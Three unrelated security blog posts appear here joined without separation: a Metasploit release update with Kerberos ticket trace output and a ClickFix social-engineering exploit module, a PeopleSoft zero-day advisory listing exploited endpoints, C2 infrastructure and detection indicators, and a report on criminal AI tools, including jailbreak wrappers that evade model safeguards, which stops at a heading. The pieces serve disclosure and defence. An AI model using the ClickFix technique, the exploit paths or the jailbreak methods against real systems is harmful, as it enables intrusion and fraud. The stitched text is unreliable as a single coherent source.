As hard as we try to ensure that Metasploit is bug free, issues inevitably come up. Whether you’re running a module on an op or writing a new one, what we can do is make the debugging experience easier. To that end one of our two Google Summer of Code (GSoC) projects is here to deliver. Building on the previous pattern of HttpTrace comes two new options KerberosTicketTrace and CertificateTrace. These options, when enabled, will enable debugging output of Kerberos tickets and Certificates that are both sent and received by applicable modules. Now when things aren’t going quite right, users have new levers to reach for to inspect what’s happening under the hood.

For example, to inspect exactly what’s happening when using the auxiliary/admin/kerberos/get_ticket module:

msf auxiliary(admin/kerberos/get_ticket) > set KerberosTicketTrace true 
KerberosTicketTrace => true
msf auxiliary(admin/kerberos/get_ticket) > run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:88 - Getting TGT for smcintyre@msflab.local
####################
# Kerberos Request: AS-REQ
####################
Protocol Version: 5
Message Type: 10 (AS-REQ)
Pre-Authentication Data:
  Entry[0]:
    Type: 128 (PA_PAC_REQUEST)
    Value: [binary 7 bytes: 3005a0030101ff]
Request Body:
  KDC Options:
    Value: 1082195984
    Flags:
      - FORWARDABLE
      - RENEWABLE
      - CANONICALIZE
      - RENEWABLE_OK
  Client Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - smcintyre
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Till: 2026-06-12T18:21:36Z
  Rtime: 2026-06-12T18:21:36Z
  Nonce: 6831592
  Encryption Type:
    - 18 (AES256)
    - 17 (AES128)
    - 23 (RC4_HMAC)
    - 3 (DES_CBC_MD5)
    - 16 (DES3_CBC_SHA1)
####################
# Kerberos Response: KRB-ERROR
####################
Protocol Version: 5
Message Type: 30 (KRB-ERROR)
Server Time: 2026-06-11T18:21:36Z
Server Microseconds: 862696
Error Code:
  Name: KDC_ERR_PREAUTH_REQUIRED
  Value: 25
  Description: Additional pre-authentication required
Realm: MSFLAB.LOCAL
Server Name:
  Name Type: 1 (NT_PRINCIPAL)
  Name String:
    - krbtgt
    - MSFLAB.LOCAL
Error Data: [binary 87 bytes: 30553032a103020113a22b04293027301ea003020112a1171b154d53464c41422e4c4f43414c736d63696e747972653005a0030201173009a103020102a20204003009a103020110a20204003009a10302010fa2020400]
####################
# Kerberos Request: AS-REQ
####################
Protocol Version: 5
Message Type: 10 (AS-REQ)
Pre-Authentication Data:
  Entry[0]:
    Type: 2 (PA_ENC_TIMESTAMP)
    Value: [binary 67 bytes: 3041a003020112a23a0438724f4965bd3deb1f061e807b616a09b613f59d9a6749eaee895e2ec3ed3045403cb28874acaa371681e3957a3ec23879141411ba788886f3]
  Entry[1]:
    Type: 128 (PA_PAC_REQUEST)
    Value: [binary 7 bytes: 3005a0030101ff]
Request Body:
  KDC Options: 1350565888
  Client Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - smcintyre
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Till: 2026-06-12T18:21:36Z
  Rtime: 2026-06-12T18:21:36Z
  Nonce: 7068778
  Encryption Type:
    - 18 (AES256)
    - 23 (RC4_HMAC)
####################
# Kerberos Response: AS-REP
####################
Protocol Version: 5
Message Type: 11 (AS-REP)
Pre-Authentication Data:
  Entry[0]:
    Type: 19 (PA_ETYPE_INFO2)
    Value: [binary 34 bytes: 3020301ea003020112a1171b154d53464c41422e4c4f43414c736d63696e74797265]
Client Realm: MSFLAB.LOCAL
Client Name:
  Name Type: 1 (NT_PRINCIPAL)
  Name String:
    - smcintyre
Ticket:
  Ticket Version Number: 5
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Encrypted Part:
    Encryption Type: 18 (AES256)
    Key Version Number: 2
    Cipher: [binary 1098 bytes: a3b825bd279344fd0bc454654f7906e31c8f4918c7c69319515e6a722515b55da36e2ae26f107d9f6278b029ba4c1b937a8a4e9df04f4a54da43794b2216fd5d7762582e94e3aa72fd14bfa0cfb9ff5c9a138acecd57351ff7ca98a9d7d890445316b04359e9210f93ba72c578a1605fb5502ba00fe67d9b55417e356e6400ef3bd07b9e1a8e4aedeb62249bef9f56f0cda3a30969d33fe6999a4855ae8f666b82fdff29047b14d4bcd77b31a6b9ce1ee3a4425cd197250af0cc878995afbeb4de42fb7e55d6095ab27ab3fa7f0afb0010b8e8f5e721a3d0417c7342df77619f6520e726652dc4417d2dbc044529236557441f87a50a7188242fb177e5f1bd45d31902c877d51cd05af7215e520c410e9b7036bc78c1ddad458b0ad99832c4fdd6f8f523ca4241aee8ebce4a0000202ebfb870761833feffc2c248683751a11d556bba4c59b20c7a1627b187d4d4679e19b1928f3ab7edeef3f01b459324178a9e49976519b58d6d7164b29c77e20625c4e710e3bbb0bb32452d4bdb9ed0c3e9873b9511cadf36fb0b372af5f67310319f160c0242d2fff1095bc467c4eb6da0382ab0587d519e5390e56eacb6db4f98c2c25b7ac22edf40db2e0e0eca03dfeba48327916a8caa85c382d04dcea16116c76132dcbfc168b7e3435a37f812f479f1e8309b124a9dcbac1e2ae83063a5e49c1ea584f13f64832c713577f07b3229e83c0fe73c3dc350640a69ea643ef24b66ed17114c262d3e5cdddb8182d8da49173e597b23d94f8ef652433713bf1d5e91c7f984945940d27755584137b00baa9696cdd121c641870830ffc86c8f9989254b6b804912c4989014b3f849cd02e6b06d3cc6401fd3f830cfcd36a0ecf31309d5b6dc82a65b427818694002bcf5fac9c936e1d64205a397126f39f684903803a5405baff041881339c4c8d325a2f446178b66383c209f3dba61bdda626f6e6d63c473638191e447d58aebfcb5a98104c2f96afa3283ac3aca675937afd7c497f1bd41a3dd1b52a6a16db791421a4ab9189d9fa0d610713d9c1eeb2f9c46d6ea197f48e2e643fe773ece0855c63b44b6020044fb7cc1396b26b4747941484b73108b7c1c90e2670cf723033274cc24ceb66a7054b35a9653cd7391a4f81b2c977ee251c9295e47be46b14c66b4031c6758415e543153bde190af0f1abe0f207d84145e3521850f89765997ab72cccaaeb4c5ce8b8be9b33712090d59424c2517e4cd539740750f5792f171fec2b4e4b4bc00cb77bc308abe1b70c75684734aa9ef03c4b419d2e10b4ea6229faf5a4b2af9483156ea32bc4b298f158067ac45afd5c812c407bda57880434cb93a60ac19799004a9adc72d845401ebb8e2a31ed0edf539233d293b1141bb49b36b6475d87c0fd114d97a946e82e39ed58e6c2e0d72826059600d412bd05aaf0af5602ade2f1ff6db363ec33e25756c4bc417b248344ba19ecd8d80d2cd2c2ff32aa355c22ee96166fc7043204dcc48b5595416c4312855c7d6e31d422c93c1d6f3df1a5890b45fc55f1b757b8e]
Encrypted Part:
  Encryption Type: 18 (AES256)
  Key Version Number: 3
  Cipher: [binary 271 bytes: 357637faf370a69ec4780f1fc4308e3d639e59ebbdb5d208cf6df75470bcefdd5210a098aa716055f758d9ec58674abc4b56cec2923329309e2be192db3ee1a63c6f0133a96c440707a0f29f2e075f90c54e2ab7626132f8e898112f81cbde6905d992d9ec6a4c26087043ea8f97c1a876354c47b4a6a76e3321f42edc483530d5248f8daa01db15ab019ac4179dfdb5f6d6c1f2666b9983cd02989612acdad2b2efe352fb9708a080fd304d17a87ff1e152dc8ca981de6cff418f38c5c28612766bfc13fbac51bad1a01fcd7aae544c7d839124e1bce745d20d06c8aca5c7125afe069e8d5299a10cd27b392bd8ae3893181f132f3d49dd746c6c70c6d2b651df998c59be84f2d5b83e5b3c0a71b2]
[+] 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20260611142136_default_192.168.159.10_mit.kerberos.cca_918073.bin
####################
# Kerberos Credential: TGT
####################
Creds: 1
  Credential[0]:
    Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
    Client: smcintyre@MSFLAB.LOCAL
    Ticket etype: 18 (AES256)
    Key: 58b969939485b53dee75e4399253524d132cc2ca145f4da4e4951c04a843e544
    Subkey: false
    Ticket Length: 1188
    Ticket Flags: 0x50e10000 (FORWARDABLE, PROXIABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
    Addresses: 0
    Authdatas: 0
    Times:
      Auth time: 2026-06-11 14:21:36 -0400
      Start time: 2026-06-11 14:21:36 -0400
      End time: 2026-06-12 00:21:36 -0400
      Renew Till: 2026-06-12 14:21:36 -0400
    Ticket:
      Ticket Version Number: 5
      Realm: MSFLAB.LOCAL
      Server Name: krbtgt/MSFLAB.LOCAL
      Encrypted Ticket Part:
        Ticket etype: 18 (AES256)
        Key Version Number: 2
        Cipher:
          o7glvSeTRP0LxFRlT3kG4xyPSRjHxpMZUV5qciUVtV2jbiribxB9n2J4sCm6TBuTeopOnfBPSlTaQ3lLIhb9XXdiWC6U46py/RS/oM+5/1yaE4rOzVc1H/fKmKnX2JBEUxawQ1npIQ+TunLFeKFgX7VQK6AP5n2bVUF+NW5kAO870HueGo5K7etiJJvvn1bwzaOjCWnTP+aZmkhVro9ma4L9/ykEexTUvNd7Maa5zh7jpEJc0ZclCvDMh4mVr7603kL7flXWCVqyerP6fwr7ABC46PXnIaPQQXxzQt93YZ9lIOcmZS3EQX0tvARFKSNlV0Qfh6UKcYgkL7F35fG9RdMZAsh31RzQWvchXlIMQQ6bcDa8eMHdrUWLCtmYMsT91vj1I8pCQa7o685KAAAgLr+4cHYYM/7/wsJIaDdRoR1Va7pMWbIMehYnsYfU1GeeGbGSjzq37e7z8BtFkyQXip5Jl2UZtY1tcWSynHfiBiXE5xDju7C7MkUtS9ue0MPphzuVEcrfNvsLNyr19nMQMZ8WDAJC0v/xCVvEZ8TrbaA4KrBYfVGeU5Dlbqy220+YwsJbesIu30DbLg4OygPf66SDJ5FqjKqFw4LQTc6hYRbHYTLcv8Fot+NDWjf4EvR58egwmxJKncusHiroMGOl5JwepYTxP2SDLHE1d/B7MinoPA/nPD3DUGQKaepkPvJLZu0XEUwmLT5c3duBgtjaSRc+WXsj2U+O9lJDNxO/HV6Rx/mElFlA0ndVWEE3sAuqlpbN0SHGQYcIMP/IbI+ZiSVLa4BJEsSYkBSz+EnNAuawbTzGQB/T+DDPzTag7PMTCdW23IKmW0J4GGlAArz1+snJNuHWQgWjlxJvOfaEkDgDpUBbr/BBiBM5xMjTJaL0RheLZjg8IJ89umG92mJvbm1jxHNjgZHkR9WK6/y1qYEEwvlq+jKDrDrKZ1k3r9fEl/G9QaPdG1KmoW23kUIaSrkYnZ+g1hBxPZwe6y+cRtbqGX9I4uZD/nc+zghVxjtEtgIARPt8wTlrJrR0eUFIS3MQi3wckOJnDPcjAzJ0zCTOtmpwVLNallPNc5Gk+Bssl37iUckpXke+RrFMZrQDHGdYQV5UMVO94ZCvDxq+DyB9hBReNSGFD4l2WZercszKrrTFzouL6bM3EgkNWUJMJRfkzVOXQHUPV5Lxcf7CtOS0vADLd7wwir4bcMdWhHNKqe8DxLQZ0uELTqYin69aSyr5SDFW6jK8SymPFYBnrEWv1cgSxAe9pXiAQ0y5OmCsGXmQBKmtxy2EVAHruOKjHtDt9TkjPSk7EUG7SbNrZHXYfA/RFNl6lG6C457VjmwuDXKCYFlgDUEr0FqvCvVgKt4vH/bbNj7DPiV1bEvEF7JINEuhns2NgNLNLC/zKqNVwi7pYWb8cEMgTcxItVlUFsQxKFXH1uMdQiyTwdbz3xpYkLRfxV8bdXuO
[*] Auxiliary module execution completed
msf auxiliary(admin/kerberos/get_ticket) >

Stay tuned for future enhancements like KerberosTicketTraceLevel which should have verbosity toggles such as meta, ticket, and full. We’d like to thank our GSoC contributors eve0805 and Pushpenderrathore for their hard work on this project.

Upcoming Evasion Module Changes

Metasploit is currently reconsidering the UX of evasion modules whereby users are currently required to use the module, set the payload, run it, then return to their exploit and copy the generated output from the evasion module into the exploit. This is a cumbersome process and we think we can do better but before we commit to a direction, we are soliciting feedback from the community on what they think would be the best path forward. To that end, we’ve published a writeup of the options we’re considering and a form through which we’re hoping to receive feedback. The form contains 3 questions and will be open until July 1st, 2026.

New module content (1)

ClickFix Server

Authors: boredchilada and h00die

Type: Exploit

Pull request: #21212 contributed by h00die

Path: multi/misc/clickfix_server

Description: Adds a new Metasploit exploit module exploit/multi/misc/clickfix_server that runs an HTTP server to deliver a "ClickFix"-style social-engineering page which copies a generated command payload to the victim’s clipboard that they are prompted execute.

Enhancements and features (9)

• #21008 from EclipseAditya - Adds kernel_rex_version to Msf::Post::Linux::Kernel, a new helper that extracts the upstream kernel version from uname -r and returns a Rex::Version. This eliminates an ArgumentError crash that occurred when 15+ Linux local exploit modules encountered distro-specific kernel version suffixes.
• #21198 from Pushpenderrathore - This adds a CertificateTracePresenter, implementing certificate tracing using the presenter pattern aligned with existing Metasploit conventions. This can be enabled by setting the CertificateTrace datastore option when using modules like icpr_cert and get_ticket to see the X.509 certificates being sent and received.
• #21222 from g0tmi1k - Standardizes the log output across many Metasploit modules to improve the host and port log details when IPv6 addresses are present.
• #21266 from zeroSteiner - This improves how we log SMB services. If the service is detected but authentication fails, the client still logs what dialect was negotiated so we log the service even if we couldn't authenticate to it.
• #21383 from zeroSteiner - This bumps Ruby SMB to version 3.1.21 and closes a feature gap between Ruby SMB and the Rex SMB client. With the feature gap closed, modules/auxiliary/admin/smb/samba_symlink_traversal.rb can now be switched from Rex to the RubySMB client. One less module in the way of dropping the ancient Rex client.
• #21466 from eve0805 - This adds introduces KerberosTicketTrace support as a datastore option for Metasploit's Kerberos authentication flows. Enabling KerberosTicketTrace allows users to see the following requests and responses as they are sent and received: AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-ERROR. Inbound messages are colored blue and outgoing messages are colored red to match the existing HttpTrace functionality. The coloring can be turned off and on with the KerberosTicketTraceColors datastore option.
• #21528 from h00die - This PR updates Metasploit module metadata by adding Exploit-DB (EDB) reference IDs to existing modules that already have CVE references, improving cross-referencing for higher-fidelity vulnerability tracking.
• #21535 from adfoster-r7 - Updates multiple HTTP login scanners to validate the remote target as a pre-requisite to running the login attempts.
• #21554 from sjanusz-r7 - Make WebDAV upload PHP exploit checks less strict.

Bugs fixed (4)

• #20618 from Aaditya1273 - Updates the MSSQL modules to no longer crash when running stored procedures like EXEC sp_linkedservers; against a remote host.
• #21543 from sjanusz-r7 - Addresses a recent issue stemming from the recently-made changes to the webdav upload php module, where a false positive was being reported based on only the response code.
• #21549 from 4ravind-b - Adds the missing https://github.com/advisories/GHSA-hxj9-549w-4pcq reference to modules/auxiliary/scanner/smtp/smtp_relay.rb.
• #21557 from adfoster-r7 - Fixes a db_import crash when importing zip files.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.136...6.4.137
• Full diff 6.4.136...6.4.137

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

On June 10, 2026, Oracle published a security alert for CVE-2026-35273, a critical vulnerability in the Updates Environment Management component of PeopleSoft Enterprise PeopleTools. Oracle released an out-of-band patch the same day as the advisory, underscoring the urgency of remediation. The vulnerability has a CVSSv3.1 score of 9.8 and is remotely exploitable without authentication. Per the vendor advisory, successful exploitation may result in remote code execution (RCE). TrendAI has classified the underlying flaw as a server-side request forgery (CWE-918). PeopleTools versions 8.61 and 8.62 are affected.

CVE-2026-35273 was reported to Oracle through TrendAI's Zero Day Initiative. According to a report published by Mandiant on June 11, 2026, this vulnerability has been exploited in the wild as a zero-day prior to the vendor security alert, with active exploitation observed between May 27 and June 9, 2026, predating Oracle's advisory by two weeks. The vulnerability was added to the CISA KEV on June 12, 2026.

Mandiant has attributed the campaign to UNC6240 (ShinyHunters), a financially motivated cybercriminal collective known for data theft and extortion. ShinyHunters has been linked to breaches across cloud services, SaaS platforms, and telecommunications providers, frequently exploiting weak authentication controls, stolen credentials, and cloud misconfigurations rather than deploying sophisticated malware.

Based on information published by Mandiant, the campaign heavily targeted the higher education sector; 68 percent of the more than 100 notified organizations were universities and colleges. The observed exploitation targeted PeopleSoft's Environment Management Hub (PSEMHUB) endpoints, and data stolen during the campaign was published on the ShinyHunters Data Leak Site (DLS) on June 9, 2026.

The /PSIGW/HttpListeningConnector URI path appears in both the indicators of compromise for this campaign and in a PeopleSoft exploit chain for CVE-2013-3821, detailed by Lexfo in 2017. A related XML External Entity (XXE) vulnerability, CVE-2017-3548, targeted a different Integration Gateway connector (PeopleSoftServiceListeningConnector) under the same /PSIGW/ path.

Technical overview

TrendAI's detection signatures for CVE-2026-35273 classify the underlying vulnerability as an SSRF. These include IPS Rule 1012580 ("Oracle Peoplesoft PeopleTools SSRF Vulnerability") and DDI Rule 5855 ("Peoplesoft PeopleTools Environment Management Hub (PSEMHUB) SSRF Exploit"). Mandiant describes CVE-2026-35273 as a critical remote code execution vulnerability, indicating that the SSRF serves as the mechanism through which code execution is achieved. Based on Mandiant's analysis, two endpoints are involved in exploitation: /PSEMHUB/hub and /PSIGW/HttpListeningConnector. The exploit chain may also cause the target system to make outbound SMB connections (TCP port 445) to external destinations, potentially allowing attackers to capture Windows machine-account NetNTLM hashes.

Post-exploitation activity observed by Mandiant included the deployment of MeshCentral (an open-source, and self-hosted web-based remote monitoring and management platform) remote management agents configured to masquerade as Microsoft Azure services (e.g., meshagent64-azure-ops.exe), with C2 communications directed to wss://azurenetfiles[.]net:443/agent.ashx. The attackers performed internal reconnaissance of PeopleSoft configurations, deployed lateral movement scripts, and exfiltrated data using zstd compression.

Mitigation guidance

Organizations running PeopleTools versions 8.61 or 8.62 should apply the vendor-supplied patch on an emergency basis, without waiting for a regular patch cycle to occur. Oracle has characterized this as a high-priority risk reduction measure.

In addition to patching, organizations should implement the following compensating controls:

• Disable the Environment Management Hub (EMHub) Service in multi-server configurations, or completely remove the PSEMHUB application in single-server configurations.

• Block external access to /PSEMHUB/* and /PSIGW/HttpListeningConnector at the network perimeter or firewall level. Per Mandiant, restricting these endpoints is considered non-breaking for standard end-user PeopleSoft Internet Architecture (PIA) browser sessions.

• Monitor outbound SMB traffic (TCP port 445) from PeopleSoft servers to untrusted external destinations.

Given that exploitation occurred as early as May 27, 2026, Rapid7 strongly recommends investigating for signs of compromise even after patching, using the indicators of compromise outlined below.

For the latest mitigation guidance, please refer to the Oracle security alert and Mandiant's report.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-35273 with authenticated vulnerability checks available in the 12th June 2026 content release.

Intelligence Hub

Customers leveraging Rapid7's Intelligence Hub can track the latest developments surrounding CVE-2026-35273, including indicators of compromise (IOCs) from the Mandiant report published on June 11, 2026.

Indicators of compromise

The following indicators of compromise are sourced from Mandiant's report. Mandiant has also published a GTI collection with additional IOCs for registered users.

Network indicators

Staging and C2 infrastructure:

• 142.11.200[.]186

• 142.11.200[.]187

• 142.11.200[.]188

• 142.11.200[.]189

• 142.11.200[.]190

• azurenetfiles[.]net (C2 domain masquerading as Microsoft Azure)

• 176.120.22[.]24 (ShinyHunters DLS mirror)

File indicators

Host-based indicators

• Unexpected .jsp files under <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/

• Unauthorized files or directories under .../PSEMHUB.war/envmetadata/transactions/

• Unexpected directories named logs, persistantstorage, or scratchpad under PSEMHUB paths

• Recently created or modified .xml files under <docroot>/envmetadata/data/environment/ (potential XMLDecoder persistence)

• Defacement and extortion marker file: README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT

Log-based indicators

HTTP POST requests to the following endpoints from external source IPs:

• /PSEMHUB/hub

• /PSIGW/HttpListeningConnector

Requests to /PSIGW/HttpListeningConnector containing loopback addresses (127.0.0.1, localhost, ::1) or internal IP ranges within request headers or parameters may indicate SSRF exploitation.

Updates

• June 12, 2026: Initial publication.

• June 12, 2026: CVE added to CISA KEV.

The underground market for criminally oriented generative AI has moved beyond the early hype surrounding 'malicious chatbots.' The gradual integration of AI as a productivity layer within cybercrime operations has become the dominant story, indicating that while the potential for fully autonomous AI hacking systems is possible, attackers are not embracing them as expected. Instead, threat actors are increasingly using AI to accelerate routine, but operationally significant, tasks to scale their operations. Drafting phishing lures, profiling targets, debugging code, generating forged documents, modifying malware, translating victim communications, and processing stolen data at scale were once time-consuming activities that AI has made significantly easier. AI does not replace cybercriminals; it lowers friction, increases speed, and expands the range of actors able to perform tasks that previously required more time, skill, or external support.

AI is being absorbed into criminal tradecraft, embedding itself in social engineering, fraud enablement, impersonation, identity abuse, and post-breach data exploitation. The market supporting this demand is not a single coherent product category, but a broader ecosystem of jailbreak wrappers, Telegram-based bots, prompt packs, open-weight model deployments, stolen AI accounts, and hijacked API keys. Their importance lies less in technical elegance than in usability. They provide criminals with accessible, repeatable, and commercially packaged ways to apply AI to operational problems.

This ecosystem should not be mistaken for a stable or fully mature criminal market. Compared with more established sectors, criminal AI remains volatile, uneven, and heavily exposed to hype. Some services offer genuine operational utility while others are little more than repackaged public models marketed at inflated prices. Many are short-lived, deceptive, or opportunistic rebrands. 

Even so, the demand is real. The core shift is not the arrival of a single dominant criminal model, but the commercialization of access to AI-enabled criminal capability. The strategic significance of criminal AI lies in compressing time, lowering skill barriers, improving communication quality, and scaling existing criminal workflows.

Criminal AI-as-a-Service

The defining features of this market have little to do with any technical novelty, but rather the packaging and monetization of access. By early 2026, many underground services were marketed through familiar commercial mechanisms like subscriptions, private support channels, Telegram-based delivery, gated communities, and promises of uncensored output, privacy, or reduced logging. These are clear signs of SaaS-style commercialization, albeit far less mature or stable than its legitimate counterparts.

The market should be best understood as “Criminal AI-as-a-Service.” Most offerings do not appear to rely on original foundational models built by threat actors. Instead, they typically depend on jailbreaks, wrappers around commercial services, fine-tuned open-weight models, repackaged interfaces, or modular combinations of existing capabilities. 

Pricing patterns suggest growing commercialization, but not a stable market structure. Entry-level access may be inexpensive, while premium services can be marketed at significantly higher rates with promises of priority support or additional functionality. These prices should be treated as indicative, not definitive (Figures 1 and 2). They are highly volatile and shaped by takedowns, fraud, rebranding, and shifting demand. 

At the lower end, free tools and stolen access to legitimate AI services often remain the default. In the middle of the market, recurring subscriptions are increasingly common. At the upper end, some services claim to use more modular or self-hosted architectures to reduce dependence on mainstream platforms. Together, these patterns point to a market that is becoming more operationalized, even if it remains unstable and hype-driven.

⠀

Main criminal AI tool families

The criminal AI ecosystem is defined by several distinct tool families that reflect how threat actors adopt, package, and market generative AI for illicit use. Some platforms function as fraud-enabling assistants, others as uncensored Telegram-native chatbots, modular offensive frameworks, or low-barrier tools aimed at novice users. Examining these categories is more useful than focusing solely on individual brand names, as it reveals the market’s underlying operational logic. That logic is based on how these tools are distributed, which users they target, and which stages of the criminal workflow they are designed to support. 

Overall, the market is increasingly splitting into two complementary directions. At one end are low-cost, mass-market tools that help less experienced actors produce phishing content, scam scripts, malware prompts, forged material, and social engineering narratives at scale. At the other end are more specialized platforms that integrate AI into execution workflows, supporting targeting, automation, and operational optimization for fewer but more precise attacks. This volume-versus-precision dynamic shows that criminal AI is no longer only about accelerating malicious content generation; it is also becoming a way to make illicit operations more scalable, quieter, and strategically targeted.

FraudGPT 

This tool family represents the distribution model for criminal AI by fraud shops. Emerging in mid-2023 for a few hundred dollars per month, its longevity on the black market stems from its positioning as an "all-in-one" operational assistant rather than a simple programming tool. Most buyers are not using it to engineer highly complex malware; instead, they treat it as a productivity engine to orchestrate the entire fraud chain. 

Threat actors use it to systematically design lookalike phishing pages, scrape target data, draft convincing spear-phishing lures, and generate scam scripts. Even as the underlying architecture has evolved away from standalone models and toward basic wrappers around legitimate, jailbroken corporate APIs, FraudGPT remains a staple of the underground economy because it effectively democratizes advanced social engineering, allowing entry-level scammers to execute highly localized, grammatically flawless, and high-volume fraud operations (Figure 3).

⠀

GhostGPT 

This tool family reflects the Telegram-native distribution model. Its reported selling points — uncensored output, ease of access, and reduced operational friction — illustrate the convenience and perceived safety many criminal buyers claim to value most. However, like many tools in this category, independent verification of its capabilities is limited, and its significance lies more in what it signals about buyer preferences than in any confirmed technical differentiation.

WormGPT

This tool family serves as the ultimate case study in the power and persistence of criminal branding. While the original, headline-grabbing tool was officially shut down by its creator in August 2023 following intense law enforcement and media exposure, the name has essentially become a generic dark-web trademark for unrestricted AI. The market is saturated with opportunistic copycats, such as "WormGPT v4" and various Telegram bots trading on the name. 

Threat intelligence analysis of these modern variants reveals that they share zero code with the original system; instead, they are highly volatile marketing shells, often basic API wrappers around commercial models like Grok or Mixtral that use specialized system prompts to bypass safety guardrails. WormGPT's relevance in 2026 lies not in its technical uniqueness but in its sociological impact. It is an entry-level gateway tool used by script kiddies and sophisticated actors alike to quickly generate functional exploit scripts, craft persuasive business email compromise (BEC) lures, and scale offensive workflows (Figure 4).

⠀

KawaiiGPT 

This is a freely accessible or low-cost criminally oriented AI chatbot/tool marketed in underground spaces to generate or support illicit content and cybercrime-related tasks. Its use highlights the problem of low-barrier access in the criminal LLM market. Its relevance does not lie in any demonstrated advanced capability and there is little evidence that it provides meaningful technical sophistication beyond basic generative AI functions. Rather, KawaiiGPT is important as an example of how free or near-free tools can normalize AI-assisted offending among less experienced users. Its significance is therefore sociological rather than technical as it lowers the threshold for participation, makes AI-assisted offending appear accessible and low-risk, and introduces novice actors to workflows such as phishing text generation, fraud scripting, impersonation, and other forms of low-level cybercrime support.

BruteForceAI 

This tool family represents a meaningfully different category from the chatbot-style tools that dominate criminal AI branding. BruteForceAI prioritizes precision over content generation. It integrates large language models for intelligent form analysis and sophisticated multi-threaded attack execution. This distinction matters. The broader trend it reflects is one of attackers making fewer, better-targeted attempts rather than relying on brute volume. AI here is not a content tool. It is an execution layer, and the shift from noisy credential stuffing to quiet, optimized targeting is strategically more significant than any individual tool name (Figure 5).

⠀

Xanthorox 

This AI represents the modular criminal AI platform. Its significance lies in how it is marketed. Public reporting describes it as more than another “evil chatbot,” with claims around coding support, multiple model components, and broader operational utility. Still, Xanthorox should be framed cautiously. It is better treated as an emerging or ambitiously marketed platform than as a universally verified flagship of the underground market (Figure 6).

⠀

The wide variety of smaller adversarial AI tools in 2026, including names like DarkGPT, EscapeGPT, WolfGPT, Evil-GPT, XXXGPT, and BadGPT, should be viewed with caution. These brands do not constitute a coherent or reliable category; instead, they often function as short-lived rebrandings or simple interfaces built on public or open-source models. In many cases, these are "scam-of-the-month" services hosted on Telegram, designed to capitalize on hype, with entry-level memberships starting at a few dozen dollars. However, they should not be dismissed outright, as some do offer genuine un-censorship or serve as testing grounds for malicious exploits. The bottom line in 2026 is that the brand name matters less than the underlying architecture. Most "GPT" labels are disposable marketing shells used to evade takedown measures or rebuild credibility after a service failure.

What truly defines the threat is the infrastructure supporting them. While entry-level tiers cost very little, professional-grade systems can cost thousands of dollars. At this level, the value isn't in the name, but in the technical setup.: These include the specific model used, how the service is delivered, the reliability of the operator, and how well it connects with other criminal tools like phishing kits, stealers, and ransomware support. Ultimately, the market has shifted toward operationalizing AI, focusing on tools that can automate and maximize the efficiency of entire illicit workflows.

Stolen AI accounts as an overlooked criminal market

One of the most important and still underappreciated developments in this landscape is the resale and abuse of legitimate AI access. This pattern is not new. Every widely adopted and commercially valuable technology eventually generates a secondary criminal market around stolen credentials, compromised accounts, and unauthorized access. AI is now following the same trajectory. Threat actors do not rely only on underground “dark AI” tools. They also misuse mainstream AI platforms directly.

However, the abuse of stolen AI accounts and hijacked API keys may be more consequential than many earlier credential markets. Access to legitimate AI services can provide threat actors with scalable cognitive and operational capabilities, not just access to a single platform or dataset. A compromised AI account may enable faster reconnaissance, multilingual targeting, automated content production, code generation, malware troubleshooting, and the refinement of phishing or fraud workflows. Hijacked API keys may also allow actors to consume compute resources at the victim’s expense, bypass usage restrictions tied to their own identities, and access more capable models or enterprise-grade infrastructure. In this sense, stolen AI access is not merely another credential commodity. It can function as an operational force multiplier across multiple stages of the attack lifecycle, making its abuse both expected and potentially more impactful than many traditional forms of account compromise (Figures 7 and 8).

⠀

⠀

The impact on organizations can be serious as AI accounts may contain proprietary information such as prompts, uploaded files, source code, legal drafts, customer data, internal summaries, product plans, meeting notes, investigative material, or strategic analysis. If compromised, the exposure extends beyond the credential itself. Enterprise AI accounts and AI-related access tokens should therefore be treated like cloud credentials, developer secrets, email accounts, or administrative SaaS access.

Deepfake services: From impersonation to KYC bypass

Deepfake services have become one of the criminal AI market’s most important adjacent segments, particularly in fraud, synthetic identity creation, onboarding abuse, and KYC bypass. These services are marketed not as experimental technologies, but as practical fraud enablers. Common offerings include face swaps, voice cloning, fake selfie generation, synthetic profiles, document manipulation, virtual camera injection, video-call impersonation, and full onboarding bypass packages (Figure 9). Their significance stems from the fact that many digital platforms continue to rely heavily on remote identity verification and visual trust cues.

The purpose of bypassing KYC controls is to create, validate, or access accounts that should not exist or should not be available to the offender. Once established, such accounts can support money laundering, mule activity, romance scams, investment fraud, payment abuse, sanctions evasion, account resale, and marketplace manipulation. The threat is no longer limited to static fake images. Attackers can combine face swaps, synthetic video, animated media, and virtual camera injection to impersonate real individuals during onboarding or verification.

Deepfake services also strengthen broader fraud operations. Romance scams, fake recruitment schemes, executive impersonation, vendor fraud, and investment scams all become more persuasive when synthetic voice or video is added to the deception chain. These services should therefore be understood as part of the same criminal AI capability stack. LLMs generate scripts, refine pretexts, localize language, and support interaction at scale. Stolen data enhances personalization. Deepfake tools add the visual and audio layer that increases trust and makes deception harder to detect. Together, these capabilities form a more complete deception architecture.

Organizational impact and defensive priorities

